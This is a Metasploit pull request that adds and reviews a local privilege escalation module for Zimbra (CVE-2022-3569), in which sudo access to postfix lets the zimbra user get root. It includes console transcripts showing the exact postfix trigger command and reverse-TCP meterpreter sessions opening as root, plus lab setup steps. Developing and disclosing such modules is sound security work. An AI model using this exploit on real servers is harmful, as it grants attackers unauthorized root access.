New issue

Jump to bottom

Check in zimbra_postfix_priv_esc.rb #17141

Merged

cdelafuente-r7 merged 4 commits into rapid7:master from rbowes-r7:zimbra-postfix on Oct 19

rbowes-r7 commented on Oct 14 • edited

Contributor

Verification

List the steps needed to make sure this thing works

- [x] Start `msfconsole`
- [x] Get a session as the `zimbra` user somehow (I used `exploit/linux/http/zimbra_cpio_cve_2022_41352`, which isn't merged yet, but any way to get a shell is fine)
- [ ] `use exploit/linux/local/zimbra_postfix_priv_esc`
- [ ] `set SESSION <session>`
- [ ] `exploit`
- [ ] Should give you root!

```
msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > sessions -l

Active sessions
===============

  Id  Name  Type                   Information               Connection
  --  ----  ----                   -----------               ----------
  1         meterpreter x64/linux  zimbra @ mail.example.org  172.16.166.147:4444 ->
172.16.166.157:47210 (172.16.166.157)

msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > use
exploit/linux/local/zimbra_postfix_priv_esc
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/zimbra_postfix_priv_esc) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/zimbra_postfix_priv_esc) > exploit
```

```
[*] Started reverse TCP handler on 172.16.166.147:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Sending stage (3045348 bytes) to 172.16.166.157
[*] Executing: sudo -n -l
[+] The target appears to be vulnerable.
[*] Creating exploit directory: /tmp/.GPjXSraCDY
[*] Writing '/tmp/.GPjXSraCDY/.qjSY8' (250 bytes) ...
[*] Attempting to trigger payload: sudo /opt/zimbra/common/sbin/postfix -D -v
/tmp/.GPjXSraCDY/.qjSY8
[*] Sending stage (3045348 bytes) to 172.16.166.157
[+] Deleted /tmp/.GPjXSraCDY
[*] Meterpreter session 5 opened (172.16.166.147:4444 -> 172.16.166.157:36488) at 2022-10-14
13:19:25 -0700

meterpreter > getuid
Server username: root
```

Instructions for installing Zimbra

(Adapted from **@cdelafuente-r7**'s original install way back like two months ago)

Create a VM

```
HDD = 128gb
Memory/etc don't matter
```

I installed a local DNS server (note: replace `<ip>` with the host's actual ip) (other note: replace `apt` with `yum` to do this on a Red Hat-derived system):

```
sudo apt update && sudo apt install dnsmasq
sudo hostnamectl set-hostname mail.example.org
echo "<ip> mail.example.org" | sudo tee -a /etc/hosts
echo -e 'listen-address=127.0.0.1\nserver=8.8.8.8\ndomain=example.org\nmx-host=example.org,
mail.example.org, 5\nmx-host=mail.example.org, mail.example.org, 5' | sudo tee /etc/dnsmasq.conf
```

Configure the host to use it:

```
sudo systemctl disable systemd-resolved
sudo systemctl stop systemd-resolved
sudo killall dnsmasq
sudo systemctl restart dnsmasq
echo "nameserver 127.0.0.1" | sudo tee /etc/resolv.conf
```

Download Zimbra from https://www.zimbra.com/downloads/zimbra-collaboration-open-source/ - you'll have to sell your soul and opt-in to spam, but they don't validate your email.

```
tar -xvvzf zcs-*.tgz
cd zcs*
sudo ./install.sh

* Lots of <enter>
* DO NOT install `dnscache` module (respond `N` when it ask), I had conflict issues with the local
`dnsmasq`
* Yes change the system
* Setup the admin password, probably turn off auto-updates
```

 Check in zimbra_postfix_priv_esc.rb ✓ a2a2dcb

EvergreenCartoons commented on Oct 15

Works in my lab too (got the zimbra shell just by running an meterpreter as zimbra user, instead of cpio exploit, for testing):

For whatever reason it did hang after getting the session, I think that is just my local MSF instance needing a cleanup though, not an issue with exploit.

```
msf6 exploit(multi/handler) >
[*] Sending stage (3020772 bytes) to 192.168.0.84
[*] Meterpreter session 1 opened (192.168.0.86:4444 -> 192.168.0.84:58918) at 2022-10-15 13:19:18
-0400

msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: zimbra
meterpreter > sysinfo
Computer     : 192.168.0.84
OS           : Ubuntu 20.04 (Linux 5.4.0-128-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/linux/local/zimbra_postfix_priv_esc
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/zimbra_postfix_priv_esc) > show options

Module options (exploit/linux/local/zimbra_postfix_priv_esc):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   COMPILE      Auto             yes       Compile on target (Accepted: Auto, True, False)
   SESSION                       yes       The session to run this module on
   SUDO_PATH    sudo             yes       Path to sudo executable
   ZIMBRA_BASE  /opt/zimbra      yes       Zimbra's installation directory
```

```
Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.0.86     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Auto


msf6 exploit(linux/local/zimbra_postfix_priv_esc) > set session 1
session => 1
msf6 exploit(linux/local/zimbra_postfix_priv_esc) > run

[*] Started reverse TCP handler on 192.168.0.86:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Executing: sudo -n -l
[+] The target appears to be vulnerable.
[*] Creating exploit directory: /tmp/.R5EYp
[*] Writing '/tmp/.R5EYp/.T3ncGKcrsA' (250 bytes) ...
[*] Attempting to trigger payload: sudo /opt/zimbra/common/sbin/postfix -D -v
/tmp/.R5EYp/.T3ncGKcrsA
[*] Sending stage (3020772 bytes) to 192.168.0.84
[+] Deleted /tmp/.R5EYp
[*] Meterpreter session 2 opened (192.168.0.86:4444 -> 192.168.0.84:50582) at 2022-10-15 13:19:51
-0400


getuid

^C[-] Exploit failed [user-interrupt]: Interrupt
[-] run: Interrupted
msf6 exploit(linux/local/zimbra_postfix_priv_esc) > sessions -l

Active sessions
===============

  Id  Name  Type                   Information            Connection
  --  ----  ----                   -----------            ----------
  1         meterpreter x64/linux  zimbra @ 192.168.0.84  192.168.0.86:4444 -> 192.168.0.84:58918
(192.168.0.84)
  2         meterpreter x64/linux  root @ 192.168.0.84    192.168.0.86:4444 -> 192.168.0.84:50582
(192.168.0.84)

msf6 exploit(linux/local/zimbra_postfix_priv_esc) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: root
```

```
meterpreter > sysinfo
Computer     : 192.168.0.84
OS           : Ubuntu 20.04 (Linux 5.4.0-128-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
```

cdelafuente-r7 self-assigned this on Oct 17

cdelafuente-r7 added **module** docs labels on Oct 17

cdelafuente-r7 requested changes on Oct 17

View changes

cdelafuente-r7 left a comment — Contributor

Thanks **@rbowes-r7** for this module! There are just a few comments/suggestions before it lands.

documentation/modules/exploit/linux/local/zimbra_postfix_priv_esc.md

```
17 + ```
18 + msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > sessions -l
19 +
20 + Active sessions
21 + ===============
22 +
23 +   Id  Name  Type                   Information               Connection
24 +   --  ----  ----                   -----------               ----------
25 +   1         meterpreter x64/linux  zimbra @ mail.example.org  172.16.166.147:4444
     -> 172.16.166.157:47210 (172.16.166.157)
26 +
27 + msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > use
     exploit/linux/local/zimbra_postfix_priv_esc
28 + [*] Using configured payload linux/x64/meterpreter/reverse_tcp
29 + msf6 exploit(linux/local/zimbra_postfix_priv_esc) > set SESSION 1
30 + SESSION => 1
31 + msf6 exploit(linux/local/zimbra_postfix_priv_esc) > exploit
32 +
33 + [*] Started reverse TCP handler on 172.16.166.147:4444
34 + [*] Running automatic check ("set AutoCheck false" to disable)
35 + [*] Sending stage (3045348 bytes) to 172.16.166.157
```

```
+ [*] Executing: sudo -n -l
+ [+] The target appears to be vulnerable.
+ [*] Creating exploit directory: /tmp/.GPjXSraCDY
+ [*] Writing '/tmp/.GPjXSraCDY/.qjSY8' (250 bytes) ...
+ [*] Attempting to trigger payload: sudo /opt/zimbra/common/sbin/postfix -D -v
  /tmp/.GPjXSraCDY/.qjSY8
+ [*] Sending stage (3045348 bytes) to 172.16.166.157
+ [+] Deleted /tmp/.GPjXSraCDY
+ [*] Meterpreter session 5 opened (172.16.166.147:4444 -> 172.16.166.157:36488) at
  2022-10-14 13:19:25 -0700
+
+ meterpreter > getuid
+ Server username: root
+ ```
```

cdelafuente-r7 on Oct 17 — Contributor

This should be moved to a separate section `## Scenarios` below `## Options`. This template shows details about each required section.

rbowes-r7 on Oct 17 — Contributor, Author

I'm never 100% sure what the difference is between `Verification` and `Scenarios`, especially for modules that you just set LHOST/RHOSTS and run, but I tried to separate it out and added my Zimbra-installation steps in case that helps.

cdelafuente-r7 on Oct 18 — Contributor

The installation steps are definitely a good idea, thanks for adding them.

`Verification Steps` is where you add the steps for whoever will review/test the module. It is usually generic information in this format:

1. Install the application
2. Start msfconsole
3. Do: `use [module path]`
4. Do: `set RHOSTS <remote IP>`
5. Do: `run`
6. You should get a shell.

`Scenarios` contains a real example with the console output. It can contain multiple examples if you want to demonstrate how the module behaves according to the target OS, ACTION setting, PAYLOAD type etc.

This template is a good starting point: https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/module_doc_template.md

cdelafuente-r7 on Oct 18 — Contributor

I just submitted a PR to your feature branch with some updates. Feel free to update it and land it if you think it makes sense.

modules/exploits/linux/local/zimbra_postfix_priv_esc.rb

```
35 +         'Arch' => [ ARCH_X86, ARCH_X64 ],
36 +         'SessionTypes' => [ 'shell', 'meterpreter' ],
37 +         'Privileged' => true,
38 +         'References' => [
```

cdelafuente-r7 on Oct 17 — Contributor

Just adding a note here as a placeholder to add the CVE number once it is out. Also, once it is fixed, adding the fixed version to the documentation and module description would be great.

rbowes-r7 on Oct 17 — Contributor, Author

I dunno if this will get a CVE number, unless we mint one ourselves. Maybe I'll ask Tod to make one :)

todb-r7 on Oct 17 — Contributor

Just reserved **CVE-2022-3569** for this. Feel free to drop it in the module on the next edit.

todb-r7 on Oct 17 — Contributor

CVE PR'ed for staging, **@rbowes-r7** : rapid7/cvelist#62

modules/exploits/linux/local/zimbra_postfix_priv_esc.rb Outdated — Show resolved

modules/exploits/linux/local/zimbra_postfix_priv_esc.rb Outdated — Show resolved

`Resolve feedback - get rid of unnecessary directory, add CVE number, …` ··· ✓ `dea3f72`

rbowes-r7 commented on Oct 17 — Contributor, Author

I believe I've fixed everything that **@cdelafuente-r7** asked for!

1

`Documentation fix to follow the template` `fa67b69`

cdelafuente-r7 mentioned this pull request on Oct 18

Zimbra Postfix LPE doc fix rbowes-r7/metasploit-framework#1

Merged

 Merge pull request #1 from cdelafuente-r7/zimbra_postfix_doc_fix ··· ✓ 61abcc0

cdelafuente-r7 approved these changes on Oct 19

View changes

cdelafuente-r7 commented on Oct 19 Contributor

Thanks **@rbowes-r7** for updating this. Everything looks good now. I tested against version 8.8.15.GA.4179 Ubuntu 20.04.4 and it works great. I'll go ahead and land it.

- Example output

```
msf6 exploit(linux/local/zimbra_postfix_priv_esc) > exploit session=1 lhost=10.0.0.1 lport=4445
verbose=true
[*] Started reverse TCP handler on 10.0.0.1:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Executing: sudo -n -l
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.PgC9T1Z' (250 bytes) ...
[*] Attempting to trigger payload: sudo /opt/zimbra/common/sbin/postfix -D -v /tmp/.PgC9T1Z
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045348 bytes) to 10.0.0.29
[+] Deleted /tmp/.PgC9T1Z
[*] Meterpreter session 2 opened (10.0.0.1:4445 -> 10.0.0.29:55446) at 2022-10-19 10:28:35 +0200

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : mail.donotexistdomain.foo
OS           : Ubuntu 20.04 (Linux 5.15.0-50-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
```

 **cdelafuente-r7** merged commit **c432729** into `rapid7:master` on Oct 19

22 checks passed

View details

 **cdelafuente-r7** added the **rn-modules** label on Oct 19

cdelafuente-r7 commented on Oct 19 Contributor

Release Notes

This adds a new module to exploit a vulnerable sudo configuration in Zimbra that permits the `zimbra` user to execute `postfix` as root. In turn, `postfix` can execute arbitrary shell scripts and get command execution as the root user. Currently, as of 2022-10-14, all versions of Zimbra are vulnerable.

Reviewers

todb-r7

cdelafuente-r7

Assignees

cdelafuente-r7

Labels

docs module rn-modules

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

None yet

4 participants